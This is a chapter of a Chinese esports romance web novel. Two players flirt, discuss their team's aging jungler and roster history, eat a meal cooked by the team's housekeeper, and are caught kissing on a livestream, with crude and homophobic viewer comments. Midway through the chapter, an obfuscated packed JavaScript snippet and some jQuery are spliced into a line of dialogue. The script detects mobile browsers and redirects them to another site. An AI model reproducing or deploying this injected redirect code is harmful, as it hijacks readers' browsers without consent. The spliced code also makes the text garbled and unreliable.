75.他想草我
作品:《乖你个头[电竞]》 陆意扬也是第一次看见谈年这么呆滞。
现在房间里的气氛有点尴尬。
陆意扬感觉自己问得有点唐突了,于是说:“那什么,....是不是说这个有点早了?”
“没,我.....”
陆意扬看着他难以启齿的样子,舔了下嘴唇,觉得应该让他回答选择题。
“那,那,我,我先选一个?”
“好、好的。”
陆意扬已经在不断的学习中汲取男同性恋知识,只要是跟读书没关系的事他都学得非常快,也在这个时候想到了孔融让梨的优良美德:先选小梨。
“我,我其实,”陆意扬的手胡乱地按着鼠标右键刷新,一边眼角余光观察他的表情,小心翼翼地说:“不、不太介意你以下犯上。”
快!快来反驳我!
快!我真的怕痛!
快!该你表现了!
旁边的人攥紧扶手的手忽然松了,沉默了一会儿,他在陆意扬的发顶留下了一个吻代替回答。
..........................?
他想草我?
陆意扬的手指都不会按鼠标右键了。
他的意思是他想草我?
陆意扬快把嘴唇舔出洞来了。
他居然想的是草我?
我的妈啊,我还以为他这种服务型、奉献型的男友会是.....
陆意扬屁股都夹紧了。
而且在这个时候,陆意扬想起来他们一年多前的初遇,兴奋剂检查那一次,匆匆一眼瞥见他是.....
草盛鸟.....
我草,他.....
陆意扬吞了下喉结,旁边的人又说:“这个,不是很重要。”
当然,此时的陆意扬还真的信了这句鬼话,甚至在心里感叹,竞圈居然真有纯爱人设,还让我给撞上了,恭喜我自己。
所以在他说这个的时候,陆意扬居然还歪头靠在他身上,仰着头搔他的下巴,勾他过来,鼻子嗅了嗅,“你好香。”
谈年的耳朵一红,“.......洗发露没洗干净。”
陆意扬嗅闻他头发的味道,“好闻,而且你的东西我不过敏,我好多东西都过敏,饰品,橡胶,还有衣服什么的,好容易过敏。”
“......橡胶?”
“手套啊之类的,”陆意扬说:“就那些套在身上的,好多都过敏。”
谈年的脸忽然变得很红,点点头,“好、好的,会注意的。”
“这有什么好注意的,不带不就行了吗。”
谈年蹭一下站起来,嗯了一声,“我,我去,我去收一下衣服。”
窗帘被拉开,陆意扬懒洋洋地的躺在电竞椅上转,自然地拿过谈年的杯子喝水。
“昨天闻到你抽烟了。”陆意扬突然想起来,“有什么心事吗?”
谈年皱眉抱着衣服进来,“K哥总想着退役。”
K哥今年也才22吧。
如果说16岁是电竞的巅峰年龄,18岁是最适大赛的年龄,那么22以后,就会需要更多的努力跟肌肉记忆运用自己的经验来打游戏,电竞的残酷除了是与其他天骄争输赢,更是与自己争时间。
“还没捧杯呢,退什么役,”陆意扬只能说,“你们再磨合一个新的打野并没有那么容易,而且今年的赛季我觉得K哥的状态不至于。”
“他怕耽误我们。”
“你们队情况不太一样,上单跟C位还有你都不太能控,K哥再动,就乱套了。而且有时候不只是游戏的技术问题,是队伍的气氛问题,五个小伙子打游戏哪有不吵架的,就你们这个情况,还是需要K哥的。”
说到这里陆意扬还是实事求是地说了一句,“但是确实跟其他三个队伍的打野有差距,不小,其实相对于K哥的问题,我感觉小5回避这个问题,才比较麻烦。”
陆意扬一个看比赛的都能看出来,PAX内部会不清楚吗,只是K哥的打野偶尔还是能Carry,所以大家都装无事发生。
K哥的打野长板不长,短板不多,马马虎虎,但是面对谈年这种天赋级顶级中单带给整个队伍的变化,他非常明白打野这个位置的节奏适配上这样的中单多少会有点吃力。
回看PAX的组成其实早有端倪。
B哥是俱乐部老板强哥捡回来的C位,强哥特别喜欢这小子。
第一次在线下看见B哥就是在骂架,都被打成1/13了猛猛开麦1喷9,又菜又自信,给强哥看乐了。
小5属于PAX前身的俱乐部的遗留财产,当时俱乐部觉得小5是个人才,宝宝锁养了好几年,怕他跑了,趁他年纪小给他的合同定得特别长,价格也不高,人都走光了,小5也走不了,跟着老PAX一并到了强哥的手里。
飞星当时被挂了两次牌,第三回才到PAX手上,以前直播的效果也不太好,挣不到什么钱,他在原先的队伍被按在二号位替补席上,后来也去过PIK,来PAX属于往下走。
但是他还挺高兴的,因为他以前看B哥的直播就觉得他好厉害,好自信,好能骂,好想学,直到当了B哥的队友,骂他了就老实了。
K哥没有经历过青训,带着散装队伍自己打比赛,在一众城市赛跟WSPL里面,算是相当惹眼的打野,但是当时强哥买俱乐部就属于玩玩,还是以性价比为第一位综合考虑,就给了K哥来PAX的机会。
当年的PAX中单对他这些垃圾队友十分不满意,当时他就想带着小5走,碍于没有人愿意为辅助出违约金,队伍辅助这个位置又不缺人,所以就这么拉下了。
谈年是路人王出道,也没有转会费,能省下一大笔钱。
直到强哥的资金流出了问题,B哥这小子谁都没说把自己卖给八戒也不希望再被卖到其他的老板手里,谁知这个俱乐部居然一路两季冠军,椰哥带着他们直接盘活了,才有了现在说是最豪最野的俱乐部。
豪是因为之前强哥觉着对不起孩子跟他一块儿遭罪,于是现在报复性给这俱乐部花钱。
野是因为他们的队伍配置省了一大帮人,教练组、数据师、心理师等等。
野到椰哥跟一个阿姨之外,其他所有项目都是外包,他们的训练计划、日常对抗、赛后分析都是自己来。
在初期的时候还好,在剑指冠军的时候就会觉得吃力。
毕竟,K哥是无奈之举,而非第一人选。
但是K哥性格好,像大哥,关注身边每一个人,连他的妹妹都对整个队伍非常好,时常他父母都让兄妹俩带着吃的来关照大家。
可电子竞技拒绝人情、借口,它充满离散、遗憾,有的只是残酷又冰冷的数据。
WATA1走到WATA2,过往十多年,多得是重重奖杯,重到一路走来的人无法同时举起,也多的是轻轻金雨,轻到载不住失败选手的一滴眼泪。
“其实我觉得可以调整。”陆意扬犹豫了一下,“等春赛打完再说吧,看这次线下怎么样。”
“留给队伍的时间不多。”
他这么说,陆意扬就懂了。
从他们开会也完全看得出来,小5虽然是队伍的辅助,看起来最不要紧的位置,但是在阵容、人员、打法、指挥上话语权非常重,但是他的话语权来自于找的每一个点都确实客观存在,且他对每一个位置都比当事人还更花心思。
“快来吃饭啦!星星,小年,小5小6,凯凯,波波,吃饭啦!”
“阿姨是自己给大家起名字吗?”陆意扬听见了阿姨在楼梯下喊人,跟谈年往外走,“凯凯是?”
谈年说,“扑克牌的叫法。”
“喔,勾圈凯尖啊,那波波是?”
谈年说,“拼音的叫法。”
“啊波呲的吗,忽然感觉B哥萌起来了。”
阿姨做好了饭,不跟他们一起吃,正在解围裙,“饭在电饭煲里,那个榴莲鸡煲星星多吃啊,今天你们有比赛呢,波波你吃体检有点贫血,别挑食,肝多吃,凯凯你跟小六吃水煮牛肉那些在右边,蘸料你们自己看,小5跟小年你俩吃不吃辣在左边坐啊,吃完碗放在这我收走,小六你不要再洗碗了,再洗阿姨生你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147438|190783||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
气了。”
“然后五点多开小饭,看看你们想吃什么给我发消息,不发就按菜谱了。”阿姨拎着包包要走了。
一群人七嘴八舌地跟阿姨拜拜。
然后一群人的下饭片是一台别人打团的录像。
陆意扬坐在谈年身边,轻轻地说,“不知道小魔王有水喝吗,那个摄像头看不清楚水碗。”
谈年给陆意扬盛饭,“它是沙漠动物,而且就一天。”
“都怪你,我本来昨天要回去的,它就不会渴了。”
“好,你先吃饭。”谈年给他的骨碟里夹菜。
陆意扬戳着饭,“它要是有手机就好了,我就可以给它发消息了。”
“好,你喝汤吗。”拿过碗要装猪肚鸡汤。
飞星眨着眼睛,看着谈年,语速很慢,听起来像《夏洛特烦恼》里面大傻春的语调,“上次吃饭的时候我墨迹了你两句理兵线的事,第三句话我还没说完,你就把我的碗放到电脑面前让我吃兵线,现在你怎么不叫他吃猫粮?”
B哥一脸冷漠,“我只是上称说好像胖了,他路过说我太菜被打肿了,昨天小六上称说自己胖了,他说称坏很久了。”
K哥这下子也没忍住,“昨晚上他给小六来倒热水,小5过去问能不能找小6去他房间玩模型,他叫小5闲得没事干就去给椰哥带孩子。”
小5终于没忍住,“妙妙跟小六吃火锅那次,我想起来了,阿姨刚开始做菜,我哥为了阻止我们在家吃饭,顺理成章地能去找他们,把电饭煲给拔了,把阿姨的盐藏训练室了,阿姨都以为闹鬼了。”
陆意扬在桌子下面掐了一下对他们讨论一点反应都没有的谈年,“今晚上比赛打完赛程就定了,过几天就春季赛了,你不要再乱来了....”
“季后就两天,打完就好了。”陆意扬在桌子底下抠他的手心,“我下午还得回去上课,到时候我应该也放假了,场馆见,打完了我接你回去行吗,你乖一点。”
谈年给陆意扬夹菜,“开车回,怕下雨。”
吃完饭陆意扬想赶在椰哥起床前走人,毕竟都要春季赛了。
“你不忙的时候要给我发微信,”陆意扬看着他又大包小包地给自己装东西,跟在后面说:“有一点点时间也要给我发。”
“嗯。”谈年把东西都搬上车,“猫等我过来洗。”
“我只是手没什么力气,又不耽误别的。”陆意扬说:“别操心了。”
谈年把陆意扬送上车,“到了跟我说。”
“嗯。”陆意扬点了火要走了,跟他摆摆手。
谈年穿着黑色的居家服,站在陆意扬后视镜里越来越小。
陆意扬产生一种叫舍不得情绪,车已经开远了,心里有点烦,他踩了一脚油门。
方向盘在他手里转了方向,车绕着基地一圈,在谈年快要进基地门时从后面抱住了他的腰,狠狠地亲了一口他的侧脸,亲变形了。
放开人,红着脸,还不忘「拜拜」、「拜拜」地跑了。
手持手机的小5正在跟飞星做赛前无聊的垃圾话采访,就被直播了这一幕。
【?】
【本来上这个B学就烦。】
【曹尼玛,给我转回农村频道!】
【春天不是已经过了吗?】
【......刚刚那两个谁是好人?】
【这怕不是要给zonke爽飞了】
【刚刚这样亲了一下我兄弟,我兄弟正在掏他兄弟,怎么办】
【yue】
【死基佬没有你们我怎么活。】
【还不给我跑过去采访小5你的流量还要不要了!】
.......
小5硬着头皮说“哥,我在直播忘记跟你说了。”
谈年哦了一声,“直播什么。”
“赛前Volg,就是有采访问题....第一个问题,是,我看一下,是这次春季赛你觉得各个队做出的调整之后,春季赛中单位置你面临的最大困难是什么?”
谈年思考了一下,“说的有道理,刚刚的录屏发我。”

